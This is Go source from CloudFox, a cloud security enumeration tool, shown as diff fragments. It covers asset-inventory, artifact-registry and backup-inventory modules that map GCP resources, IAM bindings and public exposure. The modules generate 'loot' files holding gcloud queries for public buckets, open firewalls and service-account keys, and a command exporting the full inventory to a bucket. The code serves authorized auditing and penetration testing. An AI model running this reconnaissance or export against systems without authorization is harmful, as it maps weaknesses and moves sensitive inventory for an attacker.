if artifacts, ok := m.ProjectArtifacts[projectID]; ok && len(artifacts) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: fmt.Sprintf("%s-artifacts", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
Header: m.getArtifactHeader(),
Body: m.artifactsToTableBody(artifacts),
})
}
return tableFiles
}
// writeHierarchicalOutput writes output to per-project directories
func (m *ArtifactRegistryModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
for projectID := range m.ProjectRepositories {
tableFiles := m.buildTablesForProject(projectID)
// Collect loot for this project
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = ArtifactRegistryOutput{Table: tableFiles, Loot: lootFiles}
}
// Also add projects that only have artifacts
for projectID := range m.ProjectArtifacts {
if _, exists := outputData.ProjectLevelData[projectID]; !exists {
tableFiles := m.buildTablesForProject(projectID)
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = ArtifactRegistryOutput{Table: tableFiles, Loot: lootFiles}
}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart(
"gcp",
m.Format,
m.Verbosity,
m.WrapTable,
pathBuilder,
outputData,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
// writeFlatOutput writes all output to a single directory (legacy mode)
func (m *ArtifactRegistryModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allRepos := m.getAllRepositories()
allArtifacts := m.getAllArtifacts()
// Build table files
tableFiles := []internal.TableFile{{
Name: fmt.Sprintf("%s-repos", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
Header: m.getRepoHeader(),
Body: m.reposToTableBody(allRepos),
}}
if len(allArtifacts) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: fmt.Sprintf("%s-artifacts", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
Header: m.getArtifactHeader(),
Body: m.artifactsToTableBody(allArtifacts),
})
}
// Collect all loot files
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := ArtifactRegistryOutput{
Table: tableFiles,
Loot: lootFiles,
}
// Write output using HandleOutputSmart with scope support
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart(
"gcp",
m.Format,
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
"project",
m.ProjectIDs,
scopeNames,
m.Account,
output,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
+861
View File
@@ -0,0 +1,861 @@
package commands
import (
"context"
"fmt"
"sort"
"strings"
"sync"
asset "cloud.google.com/go/asset/apiv1"
"cloud.google.com/go/asset/apiv1/assetpb"
assetservice "github.com/BishopFox/cloudfox/gcp/services/assetService"
"github.com/BishopFox/cloudfox/gcp/shared"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
"google.golang.org/api/iterator"
)
var (
assetTypes []string
showCounts bool
checkIAM bool
showDependencies bool
showAll bool
)
var GCPAssetInventoryCommand = &cobra.Command{
Use: globals.GCP_ASSET_INVENTORY_MODULE_NAME,
Aliases: []string{"assets", "cai", "resource-graph"},
Short: "Deep asset analysis with IAM and dependencies (requires Cloud Asset API)",
Long: `Deep resource analysis using Cloud Asset Inventory API.
USE THIS COMMAND WHEN:
- You need IAM policy analysis (public access detection)
- You want to analyze resource dependencies and cross-project relationships
- You need to filter by specific asset types
- Cloud Asset API is enabled in your projects
REQUIRES: Cloud Asset API (cloudasset.googleapis.com) to be enabled.
To enable: gcloud services enable cloudasset.googleapis.com --project=PROJECT_ID
If Cloud Asset API is not enabled, use 'inventory' command instead for a quick
overview that works without the API.
FEATURES:
- Lists all assets in a project (complete coverage via Asset API)
- Provides asset counts by type (--counts)
- Checks IAM policies for public access (--iam)
- Analyzes resource dependencies and cross-project relationships (--dependencies)
- Supports filtering by asset type (--types)
- Generates query templates for common security use cases
Flags can be combined to run multiple analyses in a single run.
Examples:
cloudfox gcp asset-inventory -p my-project
cloudfox gcp asset-inventory -p my-project --counts
cloudfox gcp asset-inventory -p my-project --iam
cloudfox gcp asset-inventory -p my-project --dependencies
cloudfox gcp asset-inventory -p my-project --all
cloudfox gcp asset-inventory -A --iam # All projects, check public access
cloudfox gcp asset-inventory -p my-project --types compute.googleapis.com/Instance,storage.googleapis.com/Bucket`,
Run: runGCPAssetInventoryCommand,
}
func init() {
GCPAssetInventoryCommand.Flags().StringSliceVar(&assetTypes, "types", []string{}, "Filter by asset types (comma-separated)")
GCPAssetInventoryCommand.Flags().BoolVar(&showCounts, "counts", false, "Show asset counts by type")
GCPAssetInventoryCommand.Flags().BoolVar(&checkIAM, "iam", false, "Check IAM policies for public access")
GCPAssetInventoryCommand.Flags().BoolVar(&showDependencies, "dependencies", false, "Analyze resource dependencies and cross-project relationships")
GCPAssetInventoryCommand.Flags().BoolVar(&showAll, "all", false, "Run all analyses (counts, IAM, dependencies)")
}
// ResourceDependency represents a dependency between two resources
type ResourceDependency struct {
SourceResource string
SourceType string
TargetResource string
TargetType string
DependencyType string // uses, references, contains
ProjectID string
}
// CrossProjectResource represents a resource accessed from multiple projects
type CrossProjectResource struct {
ResourceName string
ResourceType string
OwnerProject string
AccessedFrom []string
}
type AssetInventoryModule struct {
gcpinternal.BaseGCPModule
ProjectAssets map[string][]assetservice.AssetInfo // projectID -> assets
ProjectTypeCounts map[string][]assetservice.AssetTypeCount // projectID -> counts
ProjectDependencies map[string][]ResourceDependency // projectID -> dependencies
CrossProject []CrossProjectResource // global (cross-project by nature)
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
mu sync.Mutex
}
type AssetInventoryOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o AssetInventoryOutput) TableFiles() []internal.TableFile { return o.Table }
func (o AssetInventoryOutput) LootFiles() []internal.LootFile { return o.Loot }
func runGCPAssetInventoryCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_ASSET_INVENTORY_MODULE_NAME)
if err != nil {
return
}
module := &AssetInventoryModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectAssets: make(map[string][]assetservice.AssetInfo),
ProjectTypeCounts: make(map[string][]assetservice.AssetTypeCount),
ProjectDependencies: make(map[string][]ResourceDependency),
CrossProject: []CrossProjectResource{},
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
func (m *AssetInventoryModule) getAllAssets() []assetservice.AssetInfo {
var all []assetservice.AssetInfo
for _, assets := range m.ProjectAssets {
all = append(all, assets...)
}
return all
}
func (m *AssetInventoryModule) getAllTypeCounts() []assetservice.AssetTypeCount {
// Merge counts from all projects
countMap := make(map[string]int)
for _, counts := range m.ProjectTypeCounts {
for _, c := range counts {
countMap[c.AssetType] += c.Count
}
}
var all []assetservice.AssetTypeCount
for assetType, count := range countMap {
all = append(all, assetservice.AssetTypeCount{
AssetType: assetType,
Count: count,
})
}
return all
}
func (m *AssetInventoryModule) getAllDependencies() []ResourceDependency {
var all []ResourceDependency
for _, deps := range m.ProjectDependencies {
all = append(all, deps...)
}
return all
}
func (m *AssetInventoryModule) initializeLootForProject(projectID string) {
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["asset-inventory-details"] = &internal.LootFile{
Name: "asset-inventory-details",
Contents: "# Cloud Asset Inventory Details\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
m.LootMap[projectID]["asset-inventory-commands"] = &internal.LootFile{
Name: "asset-inventory-commands",
Contents: "# Cloud Asset Inventory Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
}
func (m *AssetInventoryModule) Execute(ctx context.Context, logger internal.Logger) {
// If --all is set, enable all flags
if showAll {
showCounts = true
checkIAM = true
showDependencies = true
}
// If no flags set, default to basic asset listing
noFlagsSet := !showCounts && !checkIAM && !showDependencies
// Run requested analyses
if showCounts {
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_ASSET_INVENTORY_MODULE_NAME, m.processProjectCounts)
}
if checkIAM {
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_ASSET_INVENTORY_MODULE_NAME, m.processProjectIAM)
} else if noFlagsSet {
// Only run basic listing if no flags and IAM not requested (IAM includes basic info)
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_ASSET_INVENTORY_MODULE_NAME, m.processProject)
}
if showDependencies {
m.processProjectsDependencies(ctx, logger)
}
// Build summary message
var summaryParts []string
allTypeCounts := m.getAllTypeCounts()
if len(allTypeCounts) > 0 {
summaryParts = append(summaryParts, fmt.Sprintf("%d asset type(s)", len(allTypeCounts)))
}
allAssets := m.getAllAssets()
if len(allAssets) > 0 {
summaryParts = append(summaryParts, fmt.Sprintf("%d asset(s)", len(allAssets)))
}
if checkIAM {
publicCount := 0
for _, asset := range allAssets {
if asset.PublicAccess {
publicCount++
}
}
if publicCount > 0 {
summaryParts = append(summaryParts, fmt.Sprintf("%d with public access", publicCount))
}
}
allDeps := m.getAllDependencies()
if len(allDeps) > 0 {
summaryParts = append(summaryParts, fmt.Sprintf("%d dependencies", len(allDeps)))
}
if len(m.CrossProject) > 0 {
summaryParts = append(summaryParts, fmt.Sprintf("%d cross-project resources", len(m.CrossProject)))
}
if len(summaryParts) == 0 {
logger.InfoM("No assets found", globals.GCP_ASSET_INVENTORY_MODULE_NAME)
return
}
logger.SuccessM(fmt.Sprintf("Found %s", strings.Join(summaryParts, ", ")), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
m.writeOutput(ctx, logger)
}
func (m *AssetInventoryModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating assets in project: %s", projectID), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
}
m.mu.Lock()
m.initializeLootForProject(projectID)
m.mu.Unlock()
svc := assetservice.New()
assets, err := svc.ListAssets(projectID, assetTypes)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_ASSET_INVENTORY_MODULE_NAME,
fmt.Sprintf("Could not enumerate assets in project %s", projectID))
return
}
m.mu.Lock()
m.ProjectAssets[projectID] = append(m.ProjectAssets[projectID], assets...)
for _, asset := range assets {
m.addToLoot(projectID, asset)
}
m.mu.Unlock()
}
func (m *AssetInventoryModule) processProjectIAM(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating assets with IAM in project: %s", projectID), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
}
m.mu.Lock()
m.initializeLootForProject(projectID)
m.mu.Unlock()
svc := assetservice.New()
assets, err := svc.ListAssetsWithIAM(projectID, assetTypes)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_ASSET_INVENTORY_MODULE_NAME,
fmt.Sprintf("Could not enumerate assets with IAM in project %s", projectID))
return
}
m.mu.Lock()
m.ProjectAssets[projectID] = append(m.ProjectAssets[projectID], assets...)
for _, asset := range assets {
m.addToLoot(projectID, asset)
}
m.mu.Unlock()
}
func (m *AssetInventoryModule) processProjectCounts(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Counting assets in project: %s", projectID), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
}
m.mu.Lock()
m.initializeLootForProject(projectID)
m.mu.Unlock()
svc := assetservice.New()
counts, err := svc.GetAssetTypeCounts(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_ASSET_INVENTORY_MODULE_NAME,
fmt.Sprintf("Could not count assets in project %s", projectID))
return
}
m.mu.Lock()
m.ProjectTypeCounts[projectID] = counts
m.mu.Unlock()
}
// processProjectsDependencies analyzes assets with full dependency tracking
func (m *AssetInventoryModule) processProjectsDependencies(ctx context.Context, logger internal.Logger) {
logger.InfoM("Analyzing assets and dependencies...", globals.GCP_ASSET_INVENTORY_MODULE_NAME)
assetClient, err := asset.NewClient(ctx)
if err != nil {
parsedErr := gcpinternal.ParseGCPError(err, "cloudasset.googleapis.com")
gcpinternal.HandleGCPError(parsedErr, logger, globals.GCP_ASSET_INVENTORY_MODULE_NAME,
"Could not create Cloud Asset client")
return
}
defer assetClient.Close()
var wg sync.WaitGroup
for _, projectID := range m.ProjectIDs {
wg.Add(1)
go func(project string) {
defer wg.Done()
m.processProjectWithDependencies(ctx, project, assetClient, logger)
}(projectID)
}
wg.Wait()
// Analyze cross-project dependencies
m.analyzeCrossProjectResources()
// Generate query templates
m.generateQueryTemplates()
}
func (m *AssetInventoryModule) processProjectWithDependencies(ctx context.Context, projectID string, assetClient *asset.Client, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Analyzing dependencies in project: %s", projectID), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
}
m.mu.Lock()
m.initializeLootForProject(projectID)
m.mu.Unlock()
parent := fmt.Sprintf("projects/%s", projectID)
req := &assetpb.ListAssetsRequest{
Parent: parent,
ContentType: assetpb.ContentType_RESOURCE,
PageSize: 500,
}
it := assetClient.ListAssets(ctx, req)
for {
assetItem, err := it.Next()
if err == iterator.Done {
break
}
if err != nil {
m.CommandCounter.IncrError()
parsedErr := gcpinternal.ParseGCPError(err, "cloudasset.googleapis.com")
gcpinternal.HandleGCPError(parsedErr, logger, globals.GCP_ASSET_INVENTORY_MODULE_NAME,
fmt.Sprintf("Could not enumerate assets in project %s", projectID))
break
}
// Convert to AssetInfo for consistency
assetInfo := assetservice.AssetInfo{
Name: assetItem.Name,
AssetType: assetItem.AssetType,
ProjectID: projectID,
}
if assetItem.Resource != nil {
assetInfo.Location = assetItem.Resource.Location
}
m.mu.Lock()
m.ProjectAssets[projectID] = append(m.ProjectAssets[projectID], assetInfo)
m.mu.Unlock()
// Analyze dependencies
m.analyzeAssetDependencies(assetItem, projectID)
}
}
func (m *AssetInventoryModule) analyzeAssetDependencies(assetItem *assetpb.Asset, projectID string) {
if assetItem.Resource == nil || assetItem.Resource.Data == nil {
return
}
// Common dependency patterns
dependencyFields := map[string]string{
"network": "uses",
"subnetwork": "uses",
"serviceAccount": "uses",
"disk": "uses",
"snapshot": "references",
"image": "references",
"keyRing": "uses",
"cryptoKey": "uses",
"topic": "references",
"subscription": "references",
"bucket": "uses",
"dataset": "references",
"cluster": "contains",
}
for field, depType := range dependencyFields {
if value, ok := assetItem.Resource.Data.Fields[field]; ok {
targetResource := value.GetStringValue()
if targetResource != "" {
dependency := ResourceDependency{
SourceResource: assetItem.Name,
SourceType: assetItem.AssetType,
TargetResource: targetResource,
TargetType: m.inferResourceType(field),
DependencyType: depType,
ProjectID: projectID,
}
m.mu.Lock()
m.ProjectDependencies[projectID] = append(m.ProjectDependencies[projectID], dependency)
m.mu.Unlock()
}
}
}
}
func (m *AssetInventoryModule) inferResourceType(fieldName string) string {
typeMap := map[string]string{
"network": "compute.googleapis.com/Network",
"subnetwork": "compute.googleapis.com/Subnetwork",
"serviceAccount": "iam.googleapis.com/ServiceAccount",
"disk": "compute.googleapis.com/Disk",
"snapshot": "compute.googleapis.com/Snapshot",
"image": "compute.googleapis.com/Image",
"keyRing": "cloudkms.googleapis.com/KeyRing",
"cryptoKey": "cloudkms.googleapis.com/CryptoKey",
"topic": "pubsub.googleapis.com/Topic",
"subscription": "pubsub.googleapis.com/Subscription",
"bucket": "storage.googleapis.com/Bucket",
"dataset": "bigquery.googleapis.com/Dataset",
"cluster": "container.googleapis.com/Cluster",
}
if assetType, ok := typeMap[fieldName]; ok {
return assetType
}
return "unknown"
}
func (m *AssetInventoryModule) analyzeCrossProjectResources() {
m.mu.Lock()
defer m.mu.Unlock()
targetToSources := make(map[string][]string)
targetToType := make(map[string]string)
allDeps := m.getAllDependencies()
for _, dep := range allDeps {
targetProject := m.extractProjectFromResource(dep.TargetResource)
if targetProject != "" && targetProject != dep.ProjectID {
targetToSources[dep.TargetResource] = append(targetToSources[dep.TargetResource], dep.ProjectID)
targetToType[dep.TargetResource] = dep.TargetType
}
}
for target, sources := range targetToSources {
crossProject := CrossProjectResource{
ResourceName: target,
ResourceType: targetToType[target],
OwnerProject: m.extractProjectFromResource(target),
AccessedFrom: sources,
}
m.CrossProject = append(m.CrossProject, crossProject)
}
}
func (m *AssetInventoryModule) extractProjectFromResource(resource string) string {
if strings.Contains(resource, "projects/") {
parts := strings.Split(resource, "/")
for i, part := range parts {
if part == "projects" && i+1 < len(parts) {
return parts[i+1]
}
}
}
return ""
}
func (m *AssetInventoryModule) extractResourceName(resource string) string {
parts := strings.Split(resource, "/")
if len(parts) > 0 {
return parts[len(parts)-1]
}
return resource
}
func (m *AssetInventoryModule) generateQueryTemplates() {
templates := []struct {
Name string
Description string
Query string
}{
{"Public Storage Buckets", "Find all public GCS buckets", `resource.type="storage.googleapis.com/Bucket" AND resource.data.iamConfiguration.uniformBucketLevelAccess.enabled=false`},
{"VMs with External IPs", "Find compute instances with external IP addresses", `resource.type="compute.googleapis.com/Instance" AND resource.data.networkInterfaces.accessConfigs:*`},
{"Service Account Keys", "Find all user-managed service account keys", `resource.type="iam.googleapis.com/ServiceAccountKey" AND resource.data.keyType="USER_MANAGED"`},
{"Firewall Rules - Open to Internet", "Find firewall rules allowing 0.0.0.0/0", `resource.type="compute.googleapis.com/Firewall" AND resource.data.sourceRanges:"0.0.0.0/0"`},
{"Cloud SQL - Public IPs", "Find Cloud SQL instances with public IP", `resource.type="sqladmin.googleapis.com/Instance" AND resource.data.settings.ipConfiguration.ipv4Enabled=true`},
{"Unencrypted Disks", "Find disks without customer-managed encryption", `resource.type="compute.googleapis.com/Disk" AND NOT resource.data.diskEncryptionKey:*`},
{"GKE Clusters - Legacy Auth", "Find GKE clusters with legacy authentication", `resource.type="container.googleapis.com/Cluster" AND resource.data.legacyAbac.enabled=true`},
}
// Add templates and export commands to each project's loot
for _, projectID := range m.ProjectIDs {
m.mu.Lock()
m.initializeLootForProject(projectID)
if lootFile := m.LootMap[projectID]["asset-inventory-commands"]; lootFile != nil {
for _, t := range templates {
lootFile.Contents += fmt.Sprintf(
"# %s - %s\ngcloud asset search-all-resources --scope=projects/%s --query='%s'\n\n",
t.Name, t.Description, projectID, t.Query,
)
}
lootFile.Contents += "# Export complete asset inventory\n"
lootFile.Contents += fmt.Sprintf(
"gcloud asset export --project=%s --content-type=resource --output-path=gs://BUCKET_NAME/%s-assets.json\n",
projectID, projectID,
)
}
m.mu.Unlock()
}
}
func (m *AssetInventoryModule) addToLoot(projectID string, asset assetservice.AssetInfo) {
if lootFile := m.LootMap[projectID]["asset-inventory-details"]; lootFile != nil {
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# ASSET: %s\n"+
"# =============================================================================\n"+
"# Type: %s\n# Project: %s\n# Location: %s\n",
asset.Name, asset.AssetType, asset.ProjectID, asset.Location)
if asset.PublicAccess {
lootFile.Contents += "# Public Access: Yes\n"
}
lootFile.Contents += "\n"
}
}
func (m *AssetInventoryModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *AssetInventoryModule) buildCountsTable(counts []assetservice.AssetTypeCount) *internal.TableFile {
if len(counts) == 0 {
return nil
}
// Sort by count descending
sort.Slice(counts, func(i, j int) bool {
return counts[i].Count > counts[j].Count
})
header := []string{"Asset Type", "Count"}
var body [][]string
for _, tc := range counts {
body = append(body, []string{
tc.AssetType,
fmt.Sprintf("%d", tc.Count),
})
}
return &internal.TableFile{
Name: "asset-counts",
Header: header,
Body: body,
}
}
func (m *AssetInventoryModule) buildAssetsTable(assets []assetservice.AssetInfo) []internal.TableFile {
var tables []internal.TableFile
if len(assets) == 0 {
return tables
}
if checkIAM {
header := []string{"Project", "Name", "Asset Type", "Location", "IAM Binding Role", "IAM Binding Principal", "Public"}
var body [][]string
for _, asset := range assets {
publicAccess := "No"
if asset.PublicAccess {
publicAccess = "Yes"
}
if len(asset.IAMBindings) == 0 {
body = append(body, []string{
m.GetProjectName(asset.ProjectID),
asset.Name,
assetservice.ExtractAssetTypeShort(asset.AssetType),
asset.Location,
"-",
"-",
publicAccess,
})
} else {
for _, binding := range asset.IAMBindings {
for _, member := range binding.Members {
body = append(body, []string{
m.GetProjectName(asset.ProjectID),
asset.Name,
assetservice.ExtractAssetTypeShort(asset.AssetType),
asset.Location,
binding.Role,
member,
publicAccess,
})
}
}
}
}
tables = append(tables, internal.TableFile{
Name: "assets",
Header: header,
Body: body,
})
// Public assets table
var publicBody [][]string
for _, asset := range assets {
if asset.PublicAccess {
for _, binding := range asset.IAMBindings {
for _, member := range binding.Members {
if shared.IsPublicPrincipal(member) {
publicBody = append(publicBody, []string{
m.GetProjectName(asset.ProjectID),
asset.Name,
asset.AssetType,
binding.Role,
member,
})
}
}
}
}
}
if len(publicBody) > 0 {
tables = append(tables, internal.TableFile{
Name: "public-assets",
Header: []string{"Project", "Name", "Asset Type", "IAM Binding Role", "IAM Binding Principal"},
Body: publicBody,
})
}
} else {
header := []string{"Project", "Name", "Asset Type", "Location"}
var body [][]string
for _, asset := range assets {
body = append(body, []string{
m.GetProjectName(asset.ProjectID),
asset.Name,
assetservice.ExtractAssetTypeShort(asset.AssetType),
asset.Location,
})
}
tables = append(tables, internal.TableFile{
Name: "assets",
Header: header,
Body: body,
})
}
return tables
}
func (m *AssetInventoryModule) buildDependenciesTable(deps []ResourceDependency) *internal.TableFile {
if len(deps) == 0 {
return nil
}
depsHeader := []string{"Project", "Source", "Dependency Type", "Target", "Target Type"}
var depsBody [][]string
for _, d := range deps {
depsBody = append(depsBody, []string{
m.GetProjectName(d.ProjectID),
m.extractResourceName(d.SourceResource),
d.DependencyType,
m.extractResourceName(d.TargetResource),
assetservice.ExtractAssetTypeShort(d.TargetType),
})
}
return &internal.TableFile{
Name: "asset-dependencies",
Header: depsHeader,
Body: depsBody,
}
}
func (m *AssetInventoryModule) buildCrossProjectTable() *internal.TableFile {
if len(m.CrossProject) == 0 {
return nil
}
crossHeader := []string{"Resource", "Type", "Owner Project", "Accessed From"}
var crossBody [][]string
for _, c := range m.CrossProject {
crossBody = append(crossBody, []string{
m.extractResourceName(c.ResourceName),
assetservice.ExtractAssetTypeShort(c.ResourceType),
c.OwnerProject,
strings.Join(c.AccessedFrom, ", "),
})
}
return &internal.TableFile{
Name: "cross-project-resources",
Header: crossHeader,
Body: crossBody,
}
}
func (m *AssetInventoryModule) buildTablesForProject(projectID string) []internal.TableFile {
var tableFiles []internal.TableFile
if counts, ok := m.ProjectTypeCounts[projectID]; ok {
if table := m.buildCountsTable(counts); table != nil {
tableFiles = append(tableFiles, *table)
}
}
if assets, ok := m.ProjectAssets[projectID]; ok {
tableFiles = append(tableFiles, m.buildAssetsTable(assets)...)
}
if deps, ok := m.ProjectDependencies[projectID]; ok {
if table := m.buildDependenciesTable(deps); table != nil {
tableFiles = append(tableFiles, *table)
}
}
return tableFiles
}
func (m *AssetInventoryModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Get all project IDs that have data
projectIDs := make(map[string]bool)
for projectID := range m.ProjectAssets {
projectIDs[projectID] = true
}
for projectID := range m.ProjectTypeCounts {
projectIDs[projectID] = true
}
for projectID := range m.ProjectDependencies {
projectIDs[projectID] = true
}
for projectID := range projectIDs {
tableFiles := m.buildTablesForProject(projectID)
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = AssetInventoryOutput{Table: tableFiles, Loot: lootFiles}
}
// Add cross-project table at org level if we have hierarchy and cross-project data
if crossTable := m.buildCrossProjectTable(); crossTable != nil && m.Hierarchy != nil && len(m.Hierarchy.Organizations) > 0 {
orgID := m.Hierarchy.Organizations[0].ID
outputData.OrgLevelData[orgID] = AssetInventoryOutput{
Table: []internal.TableFile{*crossTable},
Loot: nil,
}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
}
}
func (m *AssetInventoryModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
var tables []internal.TableFile
allCounts := m.getAllTypeCounts()
if table := m.buildCountsTable(allCounts); table != nil {
tables = append(tables, *table)
}
allAssets := m.getAllAssets()
tables = append(tables, m.buildAssetsTable(allAssets)...)
allDeps := m.getAllDependencies()
if table := m.buildDependenciesTable(allDeps); table != nil {
tables = append(tables, *table)
}
if table := m.buildCrossProjectTable(); table != nil {
tables = append(tables, *table)
}
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := AssetInventoryOutput{Table: tables, Loot: lootFiles}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
"project", m.ProjectIDs, scopeNames, m.Account, output)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
}
}
+885
View File
@@ -0,0 +1,885 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
"time"
"github.com/BishopFox/cloudfox/gcp/shared"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
"google.golang.org/api/compute/v1"
sqladmin "google.golang.org/api/sqladmin/v1beta4"
)
// Module name constant
const GCP_BACKUPINVENTORY_MODULE_NAME string = "backup-inventory"
var GCPBackupInventoryCommand = &cobra.Command{
Use: GCP_BACKUPINVENTORY_MODULE_NAME,
Aliases: []string{"backups", "backup", "snapshots", "dr"},
Short: "Enumerate backup policies, protected resources, and identify backup gaps",
Long: `Inventory backup and disaster recovery configurations across GCP resources.
Features:
- Compute Engine disk snapshots and snapshot schedules
- Cloud SQL automated backups and point-in-time recovery
- Identifies unprotected resources (no backup coverage)
- Analyzes backup retention policies
- Checks for stale or failing backups`,
Run: runGCPBackupInventoryCommand,
}
// ------------------------------
// Data Structures
// ------------------------------
type BackupResource struct {
ProjectID string
Name string
ResourceType string // compute-disk, cloudsql-instance
Location string
SizeGB int64
Protected bool
BackupType string // snapshot, automated, none
Schedule string
RetentionDays int
LastBackup string
BackupCount int
BackupStatus string
PITREnabled bool
BackupLocation string
}
type IAMBinding struct {
Role string
Members []string
}
type ComputeSnapshot struct {
ProjectID string
Name string
SourceDisk string
Status string
DiskSizeGB int64
StorageBytes int64
CreationTime string
StorageLocats []string
AutoCreated bool
SnapshotType string
IAMBindings []IAMBinding
PublicAccess bool
EncryptionType string
KMSKeyName string
}
// ------------------------------
// Module Struct
// ------------------------------
type BackupInventoryModule struct {
gcpinternal.BaseGCPModule
ProjectResources map[string][]BackupResource // projectID -> resources
ProjectSnapshots map[string][]ComputeSnapshot // projectID -> snapshots
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
mu sync.Mutex
// Tracking maps
disksWithBackups map[string]bool
sqlWithBackups map[string]bool
allDisks map[string]diskInfo
allSQLInstances map[string]sqlInstanceInfo
}
type diskInfo struct {
SizeGB int64
Zone string
ProjectID string
Name string
}
type sqlInstanceInfo struct {
ProjectID string
Region string
}
